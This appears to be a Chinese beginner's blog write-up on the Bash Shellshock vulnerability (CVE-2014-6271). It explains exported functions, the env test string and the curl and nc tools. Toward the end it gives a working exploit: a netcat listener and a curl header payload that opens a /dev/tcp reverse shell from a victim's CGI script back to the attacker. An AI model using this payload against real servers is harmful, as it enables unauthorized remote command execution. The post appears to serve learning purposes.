Bash破殼漏洞


  “破殼”是一個嚴重漏洞的別名,在Red HatCentOSUbuntu Fedora Amazon Linux OS X 10.10中均擁有存在CVE-2014-6271(即“破殼”漏洞)漏洞的Bash版本,同時由於Bash在各主流操作系統的廣泛應用,此漏洞的影響範圍包括但不限於大多數應用BashUnixLinuxMac OS X,而針對這些操作系統管理下的數據均存在高危威脅。

  漏洞的利用方式會通過與Bash交互的多種應用展開,包括HTTPOpenSSHDHCP

  那麼什麼是bash呢?

bashBourne-Again SHell)是一個爲GNU計劃編寫的Unix shellbash是大多數Linux系統以及Mac OS X v10.4默認的shell,它能運行於大多數Unix風格的操作系統之上,甚至被移植到了Microsoft Windows上的Cygwin系統中,以實現windowsPOSIX虛擬接口。此外,它也被DJGPP項目移植到了MS-DOS上。

 

來總結下我學習到的知識。

一. bash shell變量:

 

 

echo命令:

echo"shellshock"

 

定義個變量然後再echo

wt7315="shellshock"

 echo $wt7315

結果如下:

wKioL1ecEvrzxqD4AAAy8dH8ZjA299.png-wh_50

我們現在可以試試開一個bash子進程來看一下我們能不能得到變量的值:

wt7315="shellshock"

echo $wt7315

shellshock

bash

echo $wt7315


wKioL1ecEyyiQtlmAAAzJaIEp9o263.png-wh_50



沒有回顯,我們不能夠讀出變量的值是因爲我們開啓了一個bash子進程,但變量中的值,仍存在父進程中。

bash環境變量:

當你開啓一個shell會話時,一些變量已經準備好可供使用了,這些變量成爲環境變量

當我們想在子進程中訪問$gaba變量的話,我們可以使用export命令將變量變成環境變量。



wKiom1ecE0mjWlPlAAA36Y9tVJU337.png-wh_50

如上圖所示,子進程可以訪問環境變量。

 

 env | grep 'gaba'

wKiom1ecE22iq9spAAAY-6YeoHw131.png-wh_50



二.bash函數與環境變量


wKiom1ecE4mB72o5AAA85-CRido170.png-wh_50


建立一個名爲x的函數,並將函數x存放在環境變量中,正如預期的那樣,在子shell中仍可執行名爲x的函數。

 

 

在看了很多原理之後,bash漏洞形成的原理可算理解了,簡單的就是說:BASH除了可以將shell變量導出爲環境變量,還可以將shell函數導出爲環境變量!(書讀百遍其義自見,原理我讀了一百遍)

三.相關指令

順便來了解下兩個指令:

ENV指令:

   ENV指令允許臨時改變環境變量,即指定本次指令執行的環境變量,這從一定程度上給了***進行PATH Hajaking的可能性

   ENV指令還允許在設置環境變量後進行指令執行,從某種程度上來說,ENV相當於一個指令執行的指令,同時還附帶有臨時設置環境變量的功能

   ENV的指令執行走的是正常的BASH指令解析、執行流程,而在一個採取了安全配置的服務器上,對敏感指令的執行都是進行用戶級別的權限限制的,所以,ENV本身並不是任意指令執行。真正導致命令任意執行的原因是"Code Injection",即代碼注入

 

具體的env命令,可查看env的man手冊和幫助。



wKioL1ecE7bR7ndoAAGcgbwOfBI506.png-wh_50

wKioL1ecE7bR0cetAAEl2Q_tA2Q753.png-wh_50



這是我們的測試語句:

env x='() { :;}; echo shellshocked' bash -c "echo test"

wKioL1ecE86DJNgeAAA69fZyBko313.png-wh_50


如果出現 `vulnerable` 和`this a test`則說明系統存在bash漏洞。

bash -c 就是用來執行string-commands(命令字符串),不管後面的字符串裏是什麼都會被當做shellcode來執行。bash -c "echo this is a test"在執行的時候存在一個環境變量x,而x呢等於 () { :;}; echo vulnerable ,而環境變量在使用前都會被初始化,那麼  () { :;}; echo vulnerable 就自然而然的被執行了。 () { :;}; 定義了一個函數(function)並且它什麼也不做,而後的 echo vulnerable 被解析後得到了執行權。當特殊的字符串變成環境變量後,環境變量又解析成函數,新的Bash進程在啓動後又解析了環境變量並可以執行命令。

 

 

curl:

 是利用URL語法在命令行方式下工作的開源文件傳輸工具。它被廣泛應用在Unix、多種Linux發行版中,並且有DOS和Win32、Win64下的移植版本。

他的參數很多,這裏簡單的舉幾個例子。

-G/--get 以get的方式來發送數據

-H/--header < line >自定義頭信息傳遞給服務器

-i/--include 輸出時包括protocol頭信息

-K/--config  指定的配置文件讀取

 

 

nc:

 NetCat,它短小精悍,功能實用,被設計爲一個簡單、可靠的網絡工具,可通過TCP或UDP協議傳輸讀寫數據。同時,它還是一個網絡應用Debug分析器,因爲它可以根據需要創建各種不同類型的網絡連接。

nc [選項] 主機名稱  通信端口

常用參數說明:

-l 使用監聽模式,管控傳入的資料。

-p<通信端口> 設置本地主機使用的通信端口。

v 顯示指令執行過程。

-w<超時秒數> 設置等待連線的時間。

-z 使用0輸入/輸出模式,只在掃描通信端口時使用。

 

 

經過上面的測試,說明此debian存在bash漏洞,我使用了kai來利用此漏洞。

 

nc -lv -p 5555

wKioL1h_Fs7x8QCnAACAjRS4uOQ877.png



另外在開個終端,輸入curl H 'x: () { :;}; /bin/bash i >& /dev/tcp/***ip/5555 0>&1' http://受害ip/sgi-bin/status,(需要注意的是 () { :;}之間有空格)對於sgi-bin/status,可以先使用掃描工具,掃出存在破殼漏洞並且在cgi-bin目錄下有一個可執行腳本,可以看到我們利用破殼漏洞得到了反向shell進入受害機。

 webserver常常將RefererUserAgentheader等參數作爲環境變量的設置源

 服務器提供了CGI腳本,當 CGI scriptwebserver執行的時候,CGI Script會去調用Bash

 ***者可以通過開啓了CGIhttpd服務器進行遠程代碼執行

wKiom1h_FouQUa2sAAE5SAXXkps308.png

wKiom1ecFBTQ1-19AAFPzJspxSw907.png-wh_50



然後我們就可以爲所欲爲的做你想做的事情了,我查看了當前所有的用戶信息。

wKioL1ecFDHiYjt4AALC7OD-a-s650.png-wh_50


雖然利用了bash漏洞得到了權限,但是bash漏洞利用還是有條件的:

被***的bash存在漏洞

***者可以控制環境變量

新的bash進程被打開觸發漏洞並執行命令

 

漏洞危害:

可以直接在Bash支持的Web CGI環境下遠程執行任何命令。這也就使得一些路由器、堡壘機、***等網絡設備將會成爲重災區,另外各大Linux發行版和Mac OS X系統都受影響,甚至Android也會受到影響。


新手,多多包涵,歡迎各位一起交流學習!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章